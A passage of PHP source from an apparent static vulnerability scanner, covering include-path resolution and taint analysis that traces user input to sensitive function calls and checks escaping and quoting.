path\n\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// check relativ path\n\t\t\t\t\t\t\t$try_file = dirname($this->file_name). '/' . $inc_file;\n\n\n\t\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$other_try_file = dirname($this->file_pointer). '/' . $inc_file;\n\n\t\t\t\t\t\t\t\t// if file can not be found check include_path if set\n\t\t\t\t\t\t\t\tif(!is_file($other_try_file))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif(isset($this->include_paths[0]))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tforeach($this->include_paths as $include_path)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif(is_file(dirname($this->file_name).'/'.$include_path.'/'.$inc_file))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$try_file = dirname($this->file_name).'/'.$include_path.'/'.$inc_file;\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\telse if(is_file(dirname($this->file_pointer).'/'.$include_path.'/'.$inc_file))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$try_file = dirname($this->file_pointer).'/'.$include_path.'/'.$inc_file;\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t// if still not a valid file, look a directory above\n\t\t\t\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$try_file = str_replace('\\\\', '/', $try_file);\n\t\t\t\t\t\t\t\t\t\t$pos = strlen($try_file);\n\t\t\t\t\t\t\t\t\t\t// replace each found / with /../, start from the end of file name\n\t\t\t\t\t\t\t\t\t\tfor($c=1; $c<substr_count($try_file, '/'); $c++)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$pos = strripos(substr($try_file,1,$pos), '/');\n\t\t\t\t\t\t\t\t\t\t\tif(is_file(substr_replace($try_file, '/../', $pos+1, 1)))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$try_file = substr_replace($try_file, '/../', $pos+1, 1);\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$try_file = str_replace('\\\\', '/', $other_try_file);\n\t\t\t\t\t\t\t\t\t\t\t$pos = strlen($try_file);\n\t\t\t\t\t\t\t\t\t\t\t// replace each found / with /../, start from the end of file name\n\t\t\t\t\t\t\t\t\t\t\tfor($c=1; $c<substr_count($try_file, '/'); $c++)\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$pos = strripos(substr($try_file,1,$pos), '/');\n\t\t\t\t\t\t\t\t\t\t\t\tif(is_file(substr_replace($try_file, '/../', $pos+1, 1)))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$try_file = substr_replace($try_file, '/../', $pos+1, 1);\n\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t// if still not a valid file, guess it\n\t\t\t\t\t\t\t\t\t\t\tif(!is_file($try_file))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$searchfile = basename($try_file);\n\t\t\t\t\t\t\t\t\t\t\t\tif(!strstr($searchfile, '$_USERINPUT'))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\tforeach($GLOBALS['files'] as $cfile)\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif(basename($cfile) == $searchfile)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$try_file = $cfile;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$try_file = $other_try_file;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$try_file_unreal = $try_file;\n\t\t\t\t\t\t$try_file = realpath($try_file);\n\n\t\t\t\t\t\t// file is valid\n\t\t\t\t\t\tif(!empty($try_file_unreal) && !empty($try_file) && $inc_lines = @file( $try_file_unreal ))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// file name has not been included\n\t\t\t\t\t\t\tif(!in_array($try_file, $this->inc_map))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// Tokens\n\t\t\t\t\t\t\t\t$tokenizer = new Tokenizer($try_file);\n\t\t\t\t\t\t\t\t$inc_tokens = $tokenizer->tokenize(implode('',$inc_lines));\n\t\t\t\t\t\t\t\tunset($tokenizer);\n\n\t\t\t\t\t\t\t\t// if(include('file')) { - include tokens after { and not into the condition :S\n\t\t\t\t\t\t\t\tif($this->in_condition)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->tokens = array_merge(\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens, 0, $this->in_condition+1), \t// before include in condition\n\t\t\t\t\t\t\t\t\t\t$inc_tokens, \t\t\t\t\t\t\t\t\t\t\t// included tokens\n\t\t\t\t\t\t\t\t\t\tarray(array(T_INCLUDE_END, 0, 1)), \t\t\t\t\t\t// extra END-identifier\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens, $this->in_condition+1) \t\t// after condition\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// insert included tokens in current tokenlist and mark end\n\t\t\t\t\t\t\t\t\t$this->tokens = array_merge(\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens, 0, $i+$skip), \t\t\t// before include\n\t\t\t\t\t\t\t\t\t\t$inc_tokens, \t\t\t\t\t\t\t\t\t\t// included tokens\n\t\t\t\t\t\t\t\t\t\tarray(array(T_INCLUDE_END, 0, 1)), \t\t\t\t\t// extra END-identifier\n\t\t\t\t\t\t\t\t\t\tarray_slice($this->tokens, $i+$skip) \t\t\t\t// after include\n\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t$tokencount = count($this->tokens);\n\n\t\t\t\t\t\t\t\t// set lines pointer to included lines, save last pointer\n\t\t\t\t\t\t\t\t// (the following tokens will be the included ones)\n\t\t\t\t\t\t\t\t$this->lines_stack[] = $inc_lines;\n\t\t\t\t\t\t\t\t$this->lines_pointer = end($this->lines_stack);\n\n\t\t\t\t\t\t\t\t// tokennr in file\n\t\t\t\t\t\t\t\t$this->tif_stack[] = $this->tif;\n\t\t\t\t\t\t\t\t$this->tif = -$skip;\n\n\t\t\t\t\t\t\t\t// set the current file pointer\n\t\t\t\t\t\t\t\t$this->file_pointer = $try_file;\n\t\t\t\t\t\t\t\tif(!isset($GLOBALS['file_sinks_count'][$this->file_pointer]))\n\t\t\t\t\t\t\t\t\t$GLOBALS['file_sinks_count'][$this->file_pointer] = 0;\n\n\t\t\t\t\t\t\t\techo $GLOBALS['fit'] . '|' . $GLOBALS['file_amount'] . '|' . $this->file_pointer . '|' . $GLOBALS['timeleft'] . '|' .\"\\n\";\n\t\t\t\t\t\t\t\t@ob_flush();\n\t\t\t\t\t\t\t\tflush();\n\n\t\t\t\t\t\t\t\t$this->comment = basename($inc_file);\n\n\t\t\t\t\t\t\t\t$this->inc_file_stack[] = $try_file;\n\n\t\t\t\t\t\t\t\t// build include map for file list\n\t\t\t\t\t\t\t\t$this->inc_map[] = $try_file; // all basic includes\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// included file name could not be reversed\n\t\t\t\t\t\t// (probably dynamic with function calls)\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$GLOBALS['count_inc_fail']++;\n\t\t\t\t\t\t\t// add information about include error in debug mode\n\t\t\t\t\t\t\tif( $GLOBALS['verbosity'] == 5 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// add include command to output\n\t\t\t\t\t\t\t\t$found_value = highlightline(array_slice($this->tokens,$i,$skip), $this->comment, $line_nr, $token_value);\n\t\t\t\t\t\t\t\t$new_find = new InfoTreeNode($found_value);\n\t\t\t\t\t\t\t\t$new_find->lines[] = $line_nr;\n\t\t\t\t\t\t\t\t$new_find->filename = $this->file_pointer;\n\t\t\t\t\t\t\t\t$new_find->title =  \"Include error: tried to include: \".$try_file_unreal;\n\n\t\t\t\t\t\t\t\tif(isset($GLOBALS['output'][$this->file_name]['inc']))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$GLOBALS['output'][$this->file_name]['inc']->treenodes[] = $new_find;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$new_block = new VulnBlock($this->tif.'_'.$this->tokens[$i][2].'_'.basename($this->file_pointer), 'Debug');\n\t\t\t\t\t\t\t\t\t$new_block->treenodes[] = $new_find;\n\t\t\t\t\t\t\t\t\t$new_block->vuln = true;\n\t\t\t\t\t\t\t\t\t$GLOBALS['output'][$this->file_name]['inc'] = $new_block;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t\t/*************************\n\t\t\t\t\t\tTAINT ANALYSIS\n\t\t\t\t\t*************************/\n\t\t\t\t\tif(isset($this->scan_functions[$token_value]) && $GLOBALS['verbosity'] != 5\n\t\t\t\t\t// not a function of a class or a function of a vulnerable class\n\t\t\t\t\t&& (empty($class) || (($this->in_function && is_array($this->function_obj->parameters) && in_array($classvar, $this->function_obj->parameters)) || @in_array($token_value, $this->vuln_classes[$class]))) )\n\t\t\t\t\t{\n\t\t\t\t\t\tif(!$this->already_scanned($i))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t// build new find\n\t\t\t\t\t\t\t$new_find = new VulnTreeNode();\n\t\t\t\t\t\t\t$new_find->name = $token_value;\n\t\t\t\t\t\t\t$new_find->lines[] = $line_nr;\n\n\t\t\t\t\t\t\t// add dependencies (already here, because checked during var trace\n\t\t\t\t\t\t\tforeach($this->dependencies as $deplinenr=>$dependency)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(!empty($dependency))\n\t\t\t\t\t\t\t\t\t$new_find->dependencies[$deplinenr] = $dependency;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// count sinks\n\t\t\t\t\t\t\t$GLOBALS['file_sinks_count'][$this->file_pointer]++;\n\n\t\t\t\t\t\t\tif($this->in_function)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset'][$this->function_obj->name][6]++;\n\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$GLOBALS['user_functions_offset']['__main__'][6]++;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$parameter = 1;\n\t\t\t\t\t\t\t$var_counter = 0;\n\t\t\t\t\t\t\t$vulnparams = array(0);\n\t\t\t\t\t\t\t$has_vuln_parameters = false;\n\t\t\t\t\t\t\t$parameter_has_userinput = false;\n\t\t\t\t\t\t\t$parameter_func_depend = false;\n\t\t\t\t\t\t\t$secured_by_start = false;\n\t\t\t\t\t\t\t// function calls without quotes (require $inc;) --> no brace count\n\t\t\t\t\t\t\t$parentheses_open = ($this->tokens[$i+1] === '(') ? 1 : -2; // -2: detection of braces doesnt matter\n\t\t\t\t\t\t\t$parentheses_save = -1;\n\t\t\t\t\t\t\t$in_securing = false;\n\t\t\t\t\t\t\t$ignore_securing = false;\n\t\t\t\t\t\t\t$c = ($this->tokens[$i+1] === '(') ? 2 : 1; // important\n\t\t\t\t\t\t\t$tainted_vars = array();\n\n\t\t\t\t\t\t\t$reconstructstr = '';\n\t\t\t\t\t\t\t$addtitle='';\n\t\t\t\t\t\t\t$this->securedby = array();\n\n\t\t\t\t\t\t\t// get all variables in parameter list between (...)\n\t\t\t\t\t\t\t// not only until ';' because: system(get($a),$b,strstr($c));\n\t\t\t\t\t\t\twhile( $parentheses_open !== 0 && $this->tokens[$i + $c] !== ';' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$this_one_is_secure = false;\n\t\t\t\t\t\t\t\tif( is_array($this->tokens[$i + $c]) )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t// scan variables and constants\n\t\t\t\t\t\t\t\t\tif( ($this->tokens[$i + $c][0] === T_VARIABLE && $this->tokens[$i + $c +1][0] !==T_OBJECT_OPERATOR)\n\t\t\t\t\t\t\t\t\t|| ($this->tokens[$i + $c][0] === T_STRING && $this->tokens[$i + $c+1] !== '(') )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$var_counter++;\n\t\t\t\t\t\t\t\t\t\t// scan only potential vulnerable parameters of function call\n\t\t\t\t\t\t\t\t\t\tif ( in_array($parameter, $this->scan_functions[$token_value][0])\n\t\t\t\t\t\t\t\t\t\t|| (isset($this->scan_functions[$token_value][0][0])\n\t\t\t\t\t\t\t\t\t\t\t&& $this->scan_functions[$token_value][0][0] === 0) ) // all parameters accepted\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$has_vuln_parameters = true;\n\n\t\t\t\t\t\t\t\t\t\t\tif((is_array($this->tokens[$i+$c-1])\n\t\t\t\t\t\t\t\t\t\t\t&& in_array($this->tokens[$i+$c-1][0], Tokens::$T_CASTS))\n\t\t\t\t\t\t\t\t\t\t\t|| (is_array($this->tokens[$i+$c+1])\n\t\t\t\t\t\t\t\t\t\t\t&& in_array($this->tokens[$i+$c+1][0], Tokens::$T_ARITHMETIC)) || $in_securing )\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$secured_by_start = true;\n\t\t\t\t\t\t\t\t\t\t\t\t$this_one_is_secure = true;\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\tif($in_securing && !$ignore_securing)\n\t\t\t\t\t\t\t\t\t\t\t\t$this->securedby[] = $securing_function;\n\n\t\t\t\t\t\t\t\t\t\t\t// trace back parameters and look for userinput, trace constants globally\n\t\t\t\t\t\t\t\t\t\t\t$userinput = $this->scan_parameter(\n\t\t\t\t\t\t\t\t\t\t\t\t$new_find,\n\t\t\t\t\t\t\t\t\t\t\t\t$new_find,\n\t\t\t\t\t\t\t\t\t\t\t\t$this->tokens[$i+$c],\n\t\t\t\t\t\t\t\t\t\t\t\t$this->tokens[$i+$c][3],\n\t\t\t\t\t\t\t\t\t\t\t\t$i+$c,\n\t\t\t\t\t\t\t\t\t\t\t\t($this->in_function && $this->tokens[$i + $c][1][0] === '$') ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t\t\t\t\tfalse,\n\t\t\t\t\t\t\t\t\t\t\t\t$this->scan_functions[$token_value][1],\n\t\t\t\t\t\t\t\t\t\t\t\tfalse, // no return-scan\n\t\t\t\t\t\t\t\t\t\t\t\t$ignore_securing,\n\t\t\t\t\t\t\t\t\t\t\t\t($this_one_is_secure || $in_securing)\n\t\t\t\t\t\t\t\t\t\t\t);\n\n\t\t\t\t\t\t\t\t\t\t\t$reconstructstr.= Analyzer::get_var_value(\n\t\t\t\t\t\t\t\t\t\t\t\t$this->file_pointer,\n\t\t\t\t\t\t\t\t\t\t\t\t$this->tokens[$i+$c],\n\t\t\t\t\t\t\t\t\t\t\t\t($this->in_function && $this->tokens[$i + $c][1][0] === '$') ? $this->var_declares_local : $this->var_declares_global,\n\t\t\t\t\t\t\t\t\t\t\t\t$this->var_declares_global,\n\t\t\t\t\t\t\t\t\t\t\t\t$i+$c,\n\t\t\t\t\t\t\t\t\t\t\t\t$this->source_functions\n\t\t\t\t\t\t\t\t\t\t\t);\n\n\n\t\t\t\t\t\t\t\t\t\t\tif($userinput /*&& (!$this_one_is_secure || $GLOBALS['verbosity'] == 3)*/ )\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$vulnparams[] = $parameter;\n\t\t\t\t\t\t\t\t\t\t\t\tif($userinput == 1)\n\t\t\t\t\t\t\t\t\t\t\t\t\t$parameter_has_userinput = true;\n\t\t\t\t\t\t\t\t\t\t\t\telse if($userinput == 2)\n\t\t\t\t\t\t\t\t\t\t\t\t\t$parameter_func_depend = true;\n\t\t\t\t\t\t\t\t\t\t\t\t$tainted_vars[] = $var_counter;\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t// mark userinput for quote analysis\n\t\t\t\t\t\t\t\t\t\tif(in_array($this->tokens[$i + $c][1], Sources::$V_USERINPUT))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$reconstructstr.='$_USERINPUT';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// userinput from return value of a function\n\t\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c][0] === T_STRING\n\t\t\t\t\t\t\t\t\t&& in_array($this->tokens[$i + $c][1], $this->source_functions)\n\t\t\t\t\t\t\t\t\t// scan only potential vulnerable parameters of function call\n\t\t\t\t\t\t\t\t\t&& ( in_array($parameter, $this->scan_functions[$token_value][0])\n\t\t\t\t\t\t\t\t\t|| (isset($this->scan_functions[$token_value][0][0])\n\t\t\t\t\t\t\t\t\t&& $this->scan_functions[$token_value][0][0] === 0) ) )// all parameters accepted\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$has_vuln_parameters = true;\n\t\t\t\t\t\t\t\t\t\t$parameter_has_userinput = true;\n\t\t\t\t\t\t\t\t\t\t$new_find->marker = 1;\n\t\t\t\t\t\t\t\t\t\t$reconstructstr.='$_USERINPUT';\n\t\t\t\t\t\t\t\t\t\t$new_find->title = 'Userinput returned by function <i>'.$this->tokens[$i + $c][1].'</i> reaches sensitive sink';\n\t\t\t\t\t\t\t\t\t\t$this->addtriggerfunction($new_find);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t//detect insecuring functions (functions that make previous securing useless)\n\t\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c][0] === T_STRING\n\t\t\t\t\t\t\t\t\t&& isset($this->tokens[$i+$c][1]) && in_array($this->tokens[$i+$c][1], $GLOBALS['F_INSECURING_STRING'])\n\t\t\t\t\t\t\t\t\t&& $parentheses_save == -1)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$parentheses_save = $parentheses_open;\n\t\t\t\t\t\t\t\t\t\t$ignore_securing = true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// detect securing functions embedded into the sensitive sink\n\t\t\t\t\t\t\t\t\telse if( !$ignore_securing && ($this->tokens[$i + $c][0] === T_STRING\n\t\t\t\t\t\t\t\t\t&& ( (is_array($this->scan_functions[$token_value][1])\n\t\t\t\t\t\t\t\t\t&& in_array($this->tokens[$i+$c][1], $this->scan_functions[$token_value][1]))\n\t\t\t\t\t\t\t\t\t|| in_array($this->tokens[$i+$c][1], $GLOBALS['F_SECURING_STRING']) ) )\n\t\t\t\t\t\t\t\t\t|| (in_array($this->tokens[$i+$c][0], Tokens::$T_CASTS) && $this->tokens[$i+$c+1] === '('))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$securing_function = $this->tokens[$i+$c][1];\n\t\t\t\t\t\t\t\t\t\t$parentheses_save = $parentheses_open;\n\t\t\t\t\t\t\t\t\t\t$in_securing = true;\n\t\t\t\t\t\t\t\t\t\t$secured_by_start = true;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t// add strings to reconstructed string for quotes analysis\n\t\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c][0] === T_CONSTANT_ENCAPSED_STRING )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$reconstructstr.= substr($this->tokens[$i + $c][1], 1, -1);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c][0] === T_ENCAPSED_AND_WHITESPACE )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$reconstructstr.= $this->tokens[$i + $c][1];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// count parameters\n\t\t\t\t\t\t\t\telse if( $parentheses_open === 1 && $this->tokens[$i + $c] === ',' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$parameter++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// watch function calls in function call\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === '(' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$parentheses_open++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if( $this->tokens[$i + $c] === ')' )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$parentheses_open--;\n\t\t\t\t\t\t\t\t\tif($parentheses_open === $parentheses_save)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$parentheses_save = -1;\n\t\t\t\t\t\t\t\t\t\t$in_securing = false;\n\t\t\t\t\t\t\t\t\t\t$securing_function = '';\n\t\t\t\t\t\t\t\t\t\t$ignore_securing = false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse if(!isset($this->tokens[$i+$c]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\taddError('Closing parenthesis of '.$token_value.'() is missing.', array_slice($this->tokens, $i, 10), $this->tokens[$i][2], $this->file_pointer);\n\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$c++;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// quote analysis for securing functions F_QUOTE_ANALYSIS\n\t\t\t\t\t\t\t// they only protect when return value is embedded into quotes\n\t\t\t\t\t\t\tif( $this->quote_analysis_needed() && substr_count($reconstructstr, '$_USERINPUT')  > 0 )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t// idea: explode on $_USERINPUT and count quotes in SQL query before\n\t\t\t\t\t\t\t\t// if not even, then the $_USERINPUT is in an open quote\n\t\t\t\t\t\t\t\t$parts = explode('$_USERINPUT', $reconstructstr);\n\t\t\t\t\t\t\t\tforeach($this->securedby as $var=>$securefunction)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif(in_array($securefunction, $GLOBALS['F_QUOTE_ANALYSIS']))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t// extract the string before the userinput\n\t\t\t\t\t\t\t\t\t\t$checkstring = '';\n\t\t\t\t\t\t\t\t\t\t$d=1;\n\t\t\t\t\t\t\t\t\t\tforeach($parts as $part)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$checkstring.=$part;\n\t\t\t\t\t\t\t\t\t\t\tif($d>=$var)\n\t\t\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t\t\t$d++;\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t// even amount of quotes (or none) in string\n\t\t\t\t\t\t\t\t\t\t// --> no quotes around userinput\n\t\t\t\t\t\t\t\t\t\t// --> securing function is\tuseless\n\t\t\t\t\t\t\t\t\t\tif(substr_count($checkstring, \"'\") % 2 === 0\n\t\t\t\t\t\t\t\t\t\t&& substr_count($checkstring, '\"') % 2 === 0)\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$has_vuln_parameters = true;\n\t\t\t\t\t\t\t\t\t\t\t$parameter_has_userinput = true;\n\t\t\t\t\t\t\t\t\t\t\t$new_find->title .= \"Userinput reaches sensitive sink due to insecure usage of $securefunction() without quotes\";\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// add find to output if function call has variable parameters (With userinput)\n\t\t\t\t\t\t\tif( ($has_vuln_parameters && ($parameter_has_userinput || $parameter_func_depend)) || $GLOBALS['verbosity'] == 4 || isset($this->scan_functions[$token_value][3]) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$vulnstart=$i;\n\t\t\t\t\t\t\t\t$vulnadd=1;\n\t\t\t\t\t\t\t\t// prepend $var assignment\n\t\t\t\t\t\t\t\tif(isset($vardeclare))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$vulnstart = $vardeclare['start'];\n\t\t\t\t\t\t\t\t\t$vulnadd = $vardeclare['end']-$vardeclare['start']-$c+1;//3;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// prepend echo statement\n\t\t\t\t\t\t\t\telse if(isset($GLOBALS['F_XSS'][$this->tokens[$i-1][1]]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$vulnstart = $i-1;\n\t\t\t\t\t\t\t\t\t$vulnadd = 2;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t// prepend class var\n\t\t\t\t\t\t\t\telse if($this->tokens[$i-1][0] === T_DOUBLE_COLON || $this->tokens[$i-1][0] === T_OBJECT_OPERATOR)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$vulnstart = $i-2;\n\t\t\t\t\t\t\t\t\t$vulnadd = 2;\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tif(isset($GLOBALS['user_functions'][$this->file_name][$token_value]))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$found_line = '<A NAME=\"'.$token_value.'_call\" class=\"jumplink\"></A>';\n\t\t\t\t\t\t\t\t\t$found_line.= highlightline(array_slice($this->tokens,$vulnstart,$c+$vulnadd),$this->comment, $line_nr, false, $token_value);\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$found_line = highlightline(array_slice($this->tokens,$vulnstart,$c+$vulnadd),$this->comment, $line_nr, $token_value, false, $tainted_vars);\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t$new_find->value = $found_line;\n\t\t\t\t\t\t\t\t$new_find->filename = $this->file_pointer;\n\n\t\t\t\t\t\t\t\tif($secured_by_start)\n\t\t\t\t\t\t\t\t\t$new_find->marker = 2;\n\n\t\t\t\t\t\t\t\t// only show vuln user defined functions\n\t\t\t\t\t\t\t\t// if call with userinput has been found\n\t\t\t\t\t\t\t\tif( isset($GLOBALS['user_functions'][$this->file_name][$token_value]) )\n\t\t\t\t\t\t\t\t\t$GLOBALS['user_functions'][$this->file_name][$token_value]['called'] = true;\n\n\t\t\t\t\t\t\t\tif($this->in_function)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->ignore_securing_function = true;\n\t\t\t\t\t\t\t\t\t// mark function in class as vuln\n\t\t\t\t\t\t\t\t\tif($this->in_class)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$this->vuln_classes[$this->class_name][] = $this->function_obj->name;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// putenv with userinput --> getenv is treated as userinput\n\t\t\t\t\t\t\t\tif($token_value === 'putenv')\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$this->source_functions[] = 'getenv';\n\t\t\t\t\t\t\t\t\t$GLOBALS['source_functions'][] = 'getenv';\n\t\t\t\t\t\t\t\t\t$new_find->title = 'User can set PHP enviroment variables. Adding getenv() to tainting 